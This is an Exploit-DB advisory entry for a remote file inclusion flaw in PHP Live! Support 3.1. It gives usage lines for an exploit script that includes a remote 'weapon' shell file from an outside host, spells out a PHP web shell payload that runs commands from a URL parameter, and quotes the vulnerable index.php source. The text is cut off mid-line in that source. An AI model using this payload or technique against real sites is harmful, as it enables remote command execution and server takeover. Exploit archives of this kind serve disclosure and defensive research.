Exploit-DB #10294
Description: OSI Codes PHP Live! Support 3.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-11-24
Author: Don Tukulesto

Exploit:
#####
# [?] Homepage	: http://www.indonesiancoder.com
# [?] Location 	: INDONESIA
# [?] Vendor 	: http://www.phplivesupport.com/
# [?] Describe	: PHP Live! Support v3.1 (c) by OSI Codes Inc.                                                      
# Chat with your website visitors with PHP Live!
#
#    * Provide Live Support on your Website
#    * Increase your Sales
#    * Increase Customer Satisfaction
#    * Decrease your phone/operational costs
# [?] Usage	:
# perl tux.pl <target> <weapon url> cmd
# perl tux.pl http://server/path/ http://www.indonesiancoder.org/shell.txt cmd
# Weapon example: <?php system($_GET['cmd']); ?>
#####
<!--more-->
# [-] Bugs in

[+] index.php
<pre lang="php">
<?php
    /*******************************************************
    * COPYRIGHT OSI CODES - PHP Live!
    *******************************************************/
    session_start() ;
    $l = "" ;
    // try to get cookie value first
    if ( isset( $_COOKIE['COOKIE_PHPLIVE_SITE'] ) ) { $l = $_COOKIE['COOKIE_PHPLIVE_SITE'] ; }
    if ( isset( $_GET['l'] ) ) { $l = $_GET['l'] ; }
    if ( isset( $_POST['l'] ) ) { $l = $_POST['l'] ; }

    if ( !file_exists( "./web/conf-init.php" ) )
    {
        HEADER( "location: setup/index.php" ) ;
        exit ;
    }
    
    include_once( "./API/Util_Dir.php" ) ;
    if ( Util_DIR_CheckDir( ".", $l ) )
        include_once("./web/$l/$l-conf-init.php") ;
    include_once("./web/conf-init.php") ;
    $DOCUMENT_ROOT = realpath( preg_replace( "/http:/", "", $DOCUMENT_ROOT ) ) ;
    include_once("$DOCUMENT_ROOT/API/Util_Error.php") ;
    include_once("$DOCUMENT_ROOT/system.php") ;
    include_once("$DOCUMENT_ROOT/lang_packs/$LANG_PACK.php") ;
    include_once("$DOCUMENT_ROOT/web/VERSION_KEEP.php") ;
    include_once("$DOCUMENT_ROOT/API/Util_CleanFiles.php") ;
    include_once("$DOCUMENT_ROOT/API/sql.php" ) ;
    include_once("$DOCUMENT_ROOT/API/Users/get.php") ;
    include_once("$DOCUMENT_ROOT/API/Users/update.php") ;
    include_once("$DOCUMENT_ROOT/API/Chat/remove.php") ;
    include_once("$DOCUMENT_ROOT/API/ASP/get.php") ;

    // initialize
    $action = $error = $sid = $site = $remember = "" ;
    $sound_file = "cellular.wav" ;
    $isadmin = $winapp = $autologin = $wflag = $closewin = 0 ;

    if ( !isset( $_SESSION['session_admin'] ) )
    {
        session_register( "session_admin" ) ;
        $session_admin = ARRAY() ;
        $_SESSION['session_admin'] = ARRAY() ;
    }

    // check to see if the site login is passes.  if not, then let's see how many
    // sites are in the asp model.  if only ONE, then default to that one.
    $total_sites = AdminASP_get_TotalUsers( $dbh ) ;
    if ( $total_sites == 1 )
    {
        $site = AdminASP_get_AllUsers( $dbh, 0, 1 ) ;
        $l = $site[0]['login'] ;
    }

    if ( isset( $LOGO ) && file_exists( "$DOCUMENT_ROOT/web/$l/$LOGO" ) && $LOGO )
        $logo = "$BASE_URL/web/$l/$LOGO" ;
    else if ( file_exists( "$DOCUMENT_ROOT/web/$LOGO_ASP" ) && $LOGO_ASP )
        $logo = "$BASE_URL/web/$LOGO_ASP" ;
    else
        $logo = "$BASE_URL/images/logo.gif" ;

    // get variables
    if ( isset( $_POST['action'] ) ) { $action = $_POST['action'] ; }
    if ( isset( $_GET['action'] ) ) { $action = $_GET['action'] ; }
    if ( isset( $_POST['winapp'] ) ) { $winapp = $_POST['winapp'] ; }
    if ( isset( $_GET['winapp'] ) ) { $winapp = $_GET['winapp'] ; }
    if ( isset( $_GET['wflag'] ) ) { $wflag = $_GET['wflag'] ; }
    if ( isset( $_GET['closewin'] ) && ( $_GET['closewin'] != "undefined" ) ) { $closewin = $_GET['closewin'] ; }

    // conditions
    if ( ( isset( $_COOKIE['COOKIE_PHPLIVE_LOGIN'] ) && isset( $_COOKIE['COOKIE_PHPLIVE_PASSWORD'] ) && isset( $_COOKIE['COOKIE_PHPLIVE_SITE'] ) ) && !$action )
        $autologin = 1 ;

    if ( $action == "login" )
    {
        if ( $l )
            $site = $l ;
        else
            $site = $_POST['site'] ;

        $aspinfo = AdminASP_get_ASPInfoByASPLogin( $dbh, $site ) ;
        $admin = AdminUsers_get_UserInfoByLoginPass( $dbh, $_POST['login'], $_POST['password'], $aspinfo['aspID'] ) ;

        if ( !$aspinfo['active_status'] )
            $error = "Servi?o est? inativo. Entre em contato com o administrador para obter detalhes setup." ;
        else
        {
            if ( $admin['userID'] && ( $admin['aspID'] == $aspinfo['aspID'] ) )
            {
                CleanFiles_util_CleanChatSessionFiles() ;

                // set $sid.  $sid is used to keep track of this admin user.  $sid allows
                // so a user can log into several admin departments on same computer.  it is
                // passed everywhere the admin goes.
                $sid = time() ;

                $departments = AdminUsers_get_UserDepartments( $dbh, $admin['userID'] ) ;
                $dept_string = "" ;
                for ( $c = 0; $c < count( $departments ); ++$c )
                {
                    $the_department = $departments[$c] ;
                    $dept_string .= "deptID = $the_department[deptID] OR " ;
                }
                $dept_string .= "deptID = 0" ;

                $_SESSION['session_admin'][$sid] = ARRAY() ;
                $_SESSION['session_admin'][$sid]['dept_string'] = $dept_string ;
                $_SESSION['session_admin'][$sid]['admin_id'] = $admin['userID'] ;
                $_SESSION['session_admin'][$sid]['requests'] = 0 ;
                $_SESSION['session_admin'][$sid]['aspID'] = $aspinfo['aspID'] ;
                $_SESSION['session_admin'][$sid]['asp_login'] = $aspinfo['login'] ;
                $_SESSION['session_admin'][$sid]['active_footprints'] = 0 ;
                $_SESSION['session_admin'][$sid]['winapp'] = "$winapp" ;
                $_SESSION['session_admin'][$sid]['close_timer'] = 0 ;
                $_SESSION['session_admin'][$sid]['traffic_monitor'] = 0 ;
                $_SESSIO